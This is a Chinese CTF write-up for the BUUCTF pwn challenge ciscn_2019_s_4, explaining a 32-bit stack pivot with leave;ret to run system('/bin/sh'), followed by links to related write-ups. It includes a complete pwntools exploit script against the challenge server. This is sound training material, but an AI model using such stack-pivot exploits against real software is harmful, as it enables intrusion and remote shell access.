ciscn_2019_s_4

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
  2. 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移
  3. 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop,
    程序最后是用leave和retn还原现场的,首先想到的就是栈迁移

    leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈
    retn实质上是pop rip,设置下一条执行指令的地址

利用思路

  1. 利用第一个输入点来泄露ebp的值,动调找一下buf在栈上的位置,用ebp去表示
  2. 第二个输入点输入system(/bin/sh),利用两次leave将栈迁移到buf处,执行buf里的指令,获取shell

利用过程

  1. 首先是利用第一个i输入点来泄露ebp的值
payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
  1. 动调看一下ebp和buf的位置距离,用ebp去表示buf

    ebp的地址是0xffecdee8,buf的地址是0xffecdeb0,两者相差0x38,我们可以用ebp-0x38来表示buf的地址
  2. 现在到了第二个输入点,我们要往buf里写入system(‘/bin/sh’),并将栈劫持回buf地址,执行指令获取shell
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)

由于程序里执行过system,所以可以直接利用system函数的地址,
(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')这个是用来填充buf的,先看后面的p32(buf-4)+p32(leave)

p32(buf-4),将ebp覆盖成了buf地址-4,-4是因为没执行一条指令后,eip会自动+4,
p32(levae),将返回地址覆盖成了leave
看一下执行完后这条指令后,栈的布局

现在执行返回指令里的leave指令
move esp,ebp

pop ebp

现在执行程序里原有的leave
move esp,ebp

pop ebp

reten,pop eip

到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容,先是执行system函数,eip+4,eip就指向了/bin/sh,system里传入了参数bin/sh,执行了system(/bin/sh),获取了shell

完整exp:

from pwn import *

p=remote('node3.buuoj.cn',26531)
#p=process('./ciscn_s_4')
context.log_level='debug' sys_addr=0x8048400
leave=0x080484b8 payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
#gdb.attach(p) print 'ebp='+hex(ebp) buf=ebp-0x38 payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave) p.send(payload)
#gdb.attach(p) p.interactive()


为了方便看,我是从上往下开栈的,实质上是从下往上开栈的

[BUUCTF]PWN——ciscn_2019_s_4的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. page_fault_in_nonpaged_area异常解决方案(已解决)

    电脑在运行虚拟机的时候异常重启,多次打开结果一样,问了客服告诉我导致蓝屏的原因很多,可能是驱动不兼容,系统,或其他.{没点有用的} 百度到这个方案: 打开->此电脑->右键属性->高 ...

  2. [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播

    [源码解析] PyTorch 分布式(12) ----- DistributedDataParallel 之 前向传播 目录 [源码解析] PyTorch 分布式(12) ----- Distribu ...

  3. 使用Python定时清理运行超时的pdflatex僵尸进程

    问题 在我们之前的<基于texlive定制chemfig化学式转换Python服务镜像>定制的pdflatex在线转换的镜像已经运行在生产环境了,但是最近总有人反馈服务跑着跑着就慢了,本来 ...

  4. [ARC101C] Ribbons on Tree

    神仙的容斥题与神仙的树形DP题. 首先搞一个指数级的做法:求总的.能够覆盖每一条边的方案数,通过容斥可以得到\(\text{ans}=\sum\limits_E{(-1)^{|E|}F(E)}\).其 ...

  5. python12对象初

  6. shell 的 功能语句--1

    [1]说明性语句 (1)shell 程序和语句 shell 程序由零或多条shell语句构成. shell语句包括三类:说明性语句.功能性语句和结构性语句. 说明性语句: 以#号开始到该行结束,不被解 ...

  7. Tikz绘制形似万花尺的图片

    初中时意外发现数学课本上有这么一个好玩的图 大概就是把两条相等线段A.B分为10个小段并在点上标序号,A线段1点连B线段9点,2点连8点,依次类推. 假设有这么一个框架图 按照第一张图的方式进一步绘图 ...

  8. Netty | 第1章 Java NIO 网络编程《Netty In Action》

    目录 前言 1. Java 网络编程 1.1 Javs NIO 基本介绍 1.2 缓冲区 Buffer 1.2 通道 Channel 1.3 选择器 Selector 1.4 NIO 非阻塞网络编程原 ...

  9. javaSE高级篇2 — 流技术 — 更新完毕

    1.先认识一个类----File类 前言:IO相关的一些常识 I / O----输入输出 I     输入     input 0    输出     output I / o 按数据的流动方向来分- ...

  10. 19. 删除链表的倒数第 N 个结点

    目录 19.删除链表的倒数第N个节点 题目 题解-暴力 题解-哈希表 题解-双指针 19.删除链表的倒数第N个节点 题目 给你一个链表,删除链表的倒数第 n 个结点,并且返回链表的头结点. 输入:he ...